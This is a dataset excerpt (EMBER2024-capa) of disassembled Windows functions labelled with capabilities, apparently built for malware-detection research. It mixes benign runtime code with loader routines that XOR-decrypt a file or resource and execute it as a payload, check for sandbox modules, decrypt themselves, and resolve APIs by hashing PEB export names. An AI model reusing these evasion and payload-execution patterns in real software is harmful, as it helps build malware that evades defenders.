joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001540
Capabilities:
Encode data using xor
Get file size
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x50
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x48], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
xor ebx, ebx
lea rcx, str.C:UsersAntabuseDownloadsmimikatz_masterx64wordle.dat
mov qword [rsp + 0x30], rbx
xor r9d, r9d
mov dword [rsp + 0x28], 1
xor r8d, r8d
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x1400016c5
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebp, eax
cmp eax, 0xffffffff
je 0x1400016c5
mov r8d, ebp
lea edx, [rbx + 8]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x1400016c5
lea r9, [rsp + 0x40]
mov dword [rsp + 0x40], ebx
mov r8d, ebp
mov qword [rsp + 0x20], rbx
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400016c5
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword [0x1400056a8]
mov dword [rsp + 0x44], ebx
test rax, rax
jne 0x14000163a
mov edx, 0x34f5ac69
lea rcx, str.kernel32
call fcn.140001070
mov qword [0x1400056a8], rax
mov edx, dword [rsp + 0x40]
lea r9, [rsp + 0x44]
mov r8d, 0x40
mov rcx, rdi
call rax
mov eax, dword [rsp + 0x40]
xor byte [0x140005078], 0x42
xor byte [0x140005079], 0x42
xor byte [0x14000507a], 0x42
xor byte [0x14000507b], 0x42
xor byte [0x14000507c], 0x42
xor byte [0x14000507d], 0x42
xor byte [0x14000507e], 0x42
xor byte [0x14000507f], 0x42
test eax, eax
je 0x1400016bb
mov rcx, rdi
lea r8, [0x140005078]
mov edx, eax
nop word [rax + rax]
mov rax, rbx
lea rcx, [rcx + 1]
and eax, 7
inc rbx
movzx eax, byte [rax + r8]
xor byte [rcx - 1], al
sub rdx, 1
jne 0x1400016a0
mov rcx, rdi
call fcn.1400011a0
jmp 0x1400016ca
mov eax, 1
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140001700
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
ret

Function at 0x140001fc0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000200a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000200a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000200a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000200a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000200a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000200c
xor al, al
add rsp, 0x28
ret
Function at 0x140001280
Capabilities:
Encode data using xor
Hash data using murmur3

Disassembly:
mov qword [rsp + 8], rbx
push rdi
mov eax, 0x2820
call fcn.14000df60
sub rsp, rax
mov eax, dword [r8]
lea r11, [rsp + 0x60]
movups xmm0, xmmword [rdx]
mov dword [rsp + 0x40], eax
mov rdi, rcx
mov eax, dword [r8 + 4]
lea r9, [rsp + 0x58]
movups xmm1, xmmword [rdx + 0x10]
mov dword [rsp + 0x44], eax
mov r10d, 0x10
mov eax, dword [r8 + 8]
mov dword [rsp + 0x48], eax
mov eax, dword [r8 + 0xc]
mov dword [rsp + 0x4c], eax
mov eax, dword [r8 + 0x10]
mov dword [rsp + 0x50], eax
mov eax, dword [r8 + 0x14]
mov dword [rsp + 0x54], eax
mov eax, dword [r8 + 0x18]
mov dword [rsp + 0x58], eax
mov eax, dword [r8 + 0x1c]
mov dword [rsp + 0x5c], eax
movups xmmword [rsp + 0x20], xmm0
movups xmmword [rsp + 0x30], xmm1
nop word [rax + rax]
mov ecx, dword [r9 - 0x34]
mov r8d, ecx
mov edx, dword [r9]
lea r9, [r9 + 4]
rol r8d, 0xe
lea r11, [r11 + 4]
mov eax, ecx
shr ecx, 3
ror eax, 7
xor r8d, eax
mov eax, edx
xor r8d, ecx
rol eax, 0xd
mov ecx, edx
shr edx, 0xa
rol ecx, 0xf
xor ecx, eax
xor ecx, edx
add r8d, ecx
add r8d, dword [r9 - 0x3c]
add r8d, dword [r9 - 0x18]
add r8d, r10d
inc r10d
mov dword [r11 - 4], r8d
cmp r10d, 0xa00
jb 0x140001300
mov ebx, 0x1000
lea rdx, [rsp + 0x820]
mov r8d, ebx
mov rcx, rdi
call fcn.140003740
lea rdx, [rdi + 0x1004]
mov r8d, 0x200
lea rax, [rsp + 0x1824]
mov ecx, dword [rax - 4]
lea rax, [rax + 8]
mov dword [rdx - 4], ecx
lea rdx, [rdx + 8]
mov ecx, dword [rax - 8]
mov dword [rdx - 8], ecx
sub r8, 1
jne 0x140001380
mov dword [rdi + 0x2000], r8d
mov rcx, rdi
call fcn.140001110
sub rbx, 1
jne 0x1400013a1
mov rbx, qword [rsp + 0x2830]
add rsp, 0x2820
pop rdi
ret

Function at 0x1400013c0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
mov eax, 0x2040
call fcn.14000df60
sub rsp, rax
mov rax, qword [0x140019008]
xor rax, rsp
mov qword [rsp + 0x2030], rax
mov r8, rdx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.140001280
lea rbx, [0x1400199f0]
mov edi, 4
sub rdi, rbx
lea rcx, [rsp + 0x20]
call fcn.140001110
mov eax, dword [rsp + 0x2024]
xor dword [rbx], eax
lea rbx, [rbx + 4]
lea rax, [rdi + rbx]
cmp rax, 0x32000
jbe 0x140001404
mov rcx, qword [rsp + 0x2030]
xor rcx, rsp
call fcn.140001a80
mov rbx, qword [rsp + 0x2060]
add rsp, 0x2040
pop rdi
ret
Function at 0x1400062dc
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x1400060d8
Function at 0x140008de8
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x140008e6f
mov rsi, rbx
cmp word [rax], bp
je 0x140008e2e
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x140008e18
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x140008e14
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.140009808
mov rdi, rax
test rax, rax
je 0x140008e5c
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.140003740
mov rbp, rdi
xor ecx, ecx
call fcn.140007970
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140001378
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x140005570]
mov dword [rax], 1
mov rax, qword [0x140005580]
mov dword [rax], 1
mov rax, qword [0x140005590]
mov dword [rax], 1
mov rax, qword [0x140005520]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400013c9
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400013f5
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x14000141b
cmp eax, 0x20b
je 0x140001442
jmp 0x140001471
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x14000142e
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x14000145d
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x1400016fa
Capabilities:
Check for sandbox and av modules

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
lea rax, str.SbieDll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
test rax, rax
jne 0x140001732
lea rax, str.dbghelp.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
test rax, rax
je 0x140001739
mov eax, 1
jmp 0x14000173e
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140001a30
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
call sym.__main
mov r8d, 0xa
mov edx, 0x65
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_FindResourceA]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140001a84
lea rax, str.Failed_to_find_resource_n
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cerr]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov eax, 1
jmp 0x140001b2b
mov rax, qword [rbp - 8]
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_LoadResource]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x140001ac4
lea rax, str.Failed_to_load_resource_n
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cerr]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov eax, 1
jmp 0x140001b2b
mov rax, qword [rbp - 8]
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SizeofResource]
call rax
mov dword [rbp - 0x14], eax
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LockResource]
call rax
mov qword [rbp - 0x20], rax
cmp qword [rbp - 0x20], 0
jne 0x140001b17
lea rax, str.Failed_to_lock_resource_n
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cerr]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov eax, 1
jmp 0x140001b2b
mov edx, dword [rbp - 0x14]
mov rax, qword [rbp - 0x20]
mov rcx, rax
call sym.executePayload_unsigned_char__unsigned_long_long_
mov eax, 0
add rsp, 0x40
pop rbp
ret

Function at 0x140001ee0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop
Function at 0x140002bb2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x140009168]
test eax, eax
je 0x140002c4a
lea rax, [0x140009140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x140009170]
mov qword [rbp - 8], rax
jmp 0x140002c2e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x140002c22
cmp qword [rbp - 0x10], 0
je 0x140002c22
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140002be8
lea rax, [0x140009140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x140002c4b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x140002d50
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x140002d78
mov eax, 0
jmp 0x140002dc6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x140002da1
mov eax, 0
jmp 0x140002dc6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x140002dc1
mov eax, 0
jmp 0x140002dc6
mov eax, 1
add rsp, 0x20
pop rbp
ret

Function at 0x140002dcc
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x140002e4a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x140002e41
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x140002e41
mov rax, qword [rbp - 8]
jmp 0x140002e5f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x140002e14
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140002520
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000256a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000256a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000256a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000256a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000256a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000256c
xor al, al
add rsp, 0x28
ret

Function at 0x140001008
Capabilities:
Accept command line arguments
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x70
lea rcx, str._JAVA_LAUNCHER_DEBUG
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
test rax, rax
je 0x140001069
lea rcx, str.Windows_original_main_args:_n
call fcn.140001148
xor ebx, ebx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll___p___argc]
cmp dword [rax], ebx
jle 0x140001069
xor edi, edi
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll___p___argv]
mov edx, ebx
lea rcx, str.wwwd_args__d____s_n
mov r8, qword [rax]
mov r8, qword [rdi + r8]
call fcn.140001148
inc ebx
lea rdi, [rdi + 8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll___p___argc]
cmp ebx, dword [rax]
jl 0x14000103e
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rcx, rax
call sub.jli.dll_JLI_CmdToArgs
call sub.jli.dll_JLI_GetStdArgc
movsxd rdi, eax
lea ecx, [rdi + 1]
movsxd rcx, ecx
shl rcx, 3
call sub.jli.dll_JLI_MemAlloc
mov rbx, rax
call sub.jli.dll_JLI_GetStdArgs
xor r9d, r9d
test edi, edi
jle 0x1400010b5
xor edx, edx
mov r9d, edi
mov rcx, qword [rax]
lea rax, [rax + 0x10]
mov qword [rbx + rdx*8], rcx
inc rdx
cmp rdx, rdi
jl 0x1400010a2
mov rcx, qword [str.java]
movsxd rax, r9d
and qword [rbx + rax*8], 0
test rcx, rcx
jne 0x1400010cc
mov rcx, qword [rbx]
mov rax, qword [section..data]
test rax, rax
jne 0x1400010db
mov rax, qword [rbx]
and dword [rsp + 0x68], 0
lea r9, str._J_ms8m
mov byte [rsp + 0x60], 0
mov r8d, 2
mov byte [rsp + 0x58], 0
mov rdx, rbx
mov byte [rsp + 0x50], 1
mov qword [rsp + 0x48], rcx
mov ecx, edi
mov qword [rsp + 0x40], rax
lea rax, [0x1400022cc]
mov qword [rsp + 0x38], rax
lea rax, [0x1400022d0]
mov qword [rsp + 0x30], rax
lea rax, str._lib_tools.jar
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r8d
call sub.jli.dll_JLI_Launch
mov rbx, qword [rsp + 0x80]
add rsp, 0x70
pop rdi
ret
Function at 0x14000c980
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x14000c9cc
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14000c9c4
cmp dword [rcx + 0x3c], edx
jl 0x14000c9c4
cmp dword [rcx + 0x3c], 0x10000000
jae 0x14000c9c4
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x14000c9cc
mov rax, rdx
add rsp, 0x18
ret

Function at 0x142686f30
Capabilities:
Encode data using xor

Disassembly:
jmp 0x142686f3a
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x142686f63
pop rbp
sub rbp, 0x33
sub rbp, 0x2686f30
sub rsp, 0x20
jmp 0x142686f82
mov rax, 0x2686f30
add rax, rbp
add rax, 0x84
mov rcx, 0x60b
mov rdx, 0xffffffff9d29c741
xor byte [rax], dl
inc rax
dec rcx
jne 0x142686fa1
jmp 0x142686fb8
or eax, ecx
test al, 0xca
enter 0x417d, 0x41
or r8d, eax
or byte [rcx + 0x40], 0x41
or dword [r8 - 0x58], eax
or dword [rsi + 0x41414681], eax
or dword [r14 + 0x41416983], eax
or dword [r14 - 0x7fbff65d], esi
retf 0x4dc0
Function at 0x180002800
Capabilities:
Access peb ldr_data
Encode data using xor
Get kernel32 base address
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push rbp
sub rsp, 0x20
mov rax, qword [0x1800975d0]
mov rbp, rdx
test rax, rax
jne 0x1800028e2
mov rax, qword gs:[0x60]
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x40], rdi
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov r11, rsi
nop
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x1800028b4
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x1800028b4
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [rdi + r8*4]
mov eax, dword [rax + r9]
add rax, r9
movzx ecx, byte [rax]
inc rax
test cl, cl
je 0x1800028af
nop dword [rax]
movsx ecx, cl
lea rax, [rax + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [rax - 1]
test cl, cl
jne 0x180002890
cmp edx, 0x7eb41a03
je 0x1800028f7
test r8d, r8d
jne 0x180002870
mov rax, qword [r11]
mov r11, rax
cmp rax, rsi
je 0x1800028ca
cmp qword [rax + 0x30], 0
jne 0x180002840
xor eax, eax
mov rdi, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
mov qword [0x1800975d0], rax
mov edx, 8
mov rcx, rbp
call rax
test eax, eax
sete al
add rsp, 0x20
pop rbp
ret
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x1800028cc
Function at 0x180003370
Capabilities:
Encode data using xor

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
push rdi
sub rsp, 0xb0
mov rax, qword [0x18008d040]
xor rax, rsp
mov qword [rsp + 0x88], rax
mov rbx, qword [0x1800975a8]
mov rdi, rcx
test rbx, rbx
jne 0x180003587
movups xmm0, xmmword [0x180081ee0]
xor ecx, ecx
cmp dword [0x18008d088], 2
movups xmm1, xmmword [0x180081ef0]
mov eax, dword [0x180081f30]
movups xmmword [rsp + 0x20], xmm0
movups xmm0, xmmword [0x180081f00]
movups xmmword [rsp + 0x40], xmm0
movups xmm0, xmmword [0x180081f20]
movups xmmword [rsp + 0x30], xmm1
movups xmm1, xmmword [0x180081f10]
movups xmmword [rsp + 0x60], xmm0
movups xmmword [rsp + 0x50], xmm1
mov dword [rsp + 0x70], eax
jl 0x180003534
movdqa xmm5, xmmword [0x1800826b0]
lea rdx, [rsp + 0x20]
movdqa xmm4, xmmword [0x1800827c0]
movaps xmmword [r11 - 0x18], xmm6
movdqa xmm6, xmmword [0x1800826d0]
movaps xmmword [r11 - 0x28], xmm7
movdqa xmm7, xmmword [0x1800826e0]
nop dword [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 0x10]
paddd xmm2, xmm5
add ecx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rdx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rdx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rdx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rdx - 8], xmm3
cmp ecx, 0x28
jl 0x180003430
movaps xmm7, xmmword [rsp + 0x90]
movaps xmm6, xmmword [rsp + 0xa0]
cmp ecx, 0x2a
jge 0x180003573
movsxd rax, ecx
lea r8, [rsp + 0x20]
lea r8, [r8 + rax*2]
mov eax, 0x92492493
lea r8, [r8 + 2]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul edx, eax, 0x38
movzx eax, cx
inc ecx
sub ax, dx
add ax, 0x33
xor word [r8 - 2], ax
cmp ecx, 0x2a
jl 0x180003540
lea rcx, [rsp + 0x20]
call fcn.180003210
mov rbx, rax
mov qword [0x1800975a8], rax
mov rdx, rdi
call fcn.180002800
test al, al
je 0x1800035b8
mov rax, qword [rdi]
test rax, rax
je 0x1800035b8
mov r9, qword [rax + 0x268]
test r9, r9
je 0x1800035b8
lea r8, [rsp + 0x80]
mov rdx, rbx
mov rcx, rdi
call r9
mov eax, dword [rsp + 0x80]
mov rcx, qword [rsp + 0x88]
xor rcx, rsp
call fcn.180041300
mov rbx, qword [rsp + 0xc8]
add rsp, 0xb0
pop rdi
ret
Function at 0x1800035e0
Capabilities:
Encode data using xor

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
push rdi
sub rsp, 0xc0
mov rax, qword [0x18008d040]
xor rax, rsp
mov qword [rsp + 0x98], rax
mov rbx, qword [0x1800975d8]
mov rdi, rcx
test rbx, rbx
jne 0x18000381c
movups xmm0, xmmword [0x180082040]
xor r8d, r8d
cmp dword [0x18008d088], 2
movups xmm1, xmmword [0x180082050]
movzx eax, word [0x1800820a0]
movups xmmword [rsp + 0x20], xmm0
movups xmm0, xmmword [0x180082060]
movups xmmword [rsp + 0x30], xmm1
movups xmm1, xmmword [0x180082070]
movups xmmword [rsp + 0x40], xmm0
movups xmm0, xmmword [0x180082080]
movups xmmword [rsp + 0x50], xmm1
movups xmm1, xmmword [0x180082090]
movups xmmword [rsp + 0x60], xmm0
movups xmmword [rsp + 0x70], xmm1
mov word [r11 - 0x48], ax
jl 0x1800037b9
movdqa xmm5, xmmword [0x1800826b0]
lea rcx, [rsp + 0x20]
movdqa xmm4, xmmword [0x1800827c0]
movaps xmmword [r11 - 0x18], xmm6
movdqa xmm6, xmmword [0x1800826d0]
movaps xmmword [r11 - 0x28], xmm7
movdqa xmm7, xmmword [0x1800826e0]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm5
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp r8d, 0x30
jl 0x1800036b0
movaps xmm7, xmmword [rsp + 0xa0]
movaps xmm6, xmmword [rsp + 0xb0]
cmp r8d, 0x31
jge 0x180003808
movsxd rax, r8d
lea r9, [rsp + 0x20]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 2]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
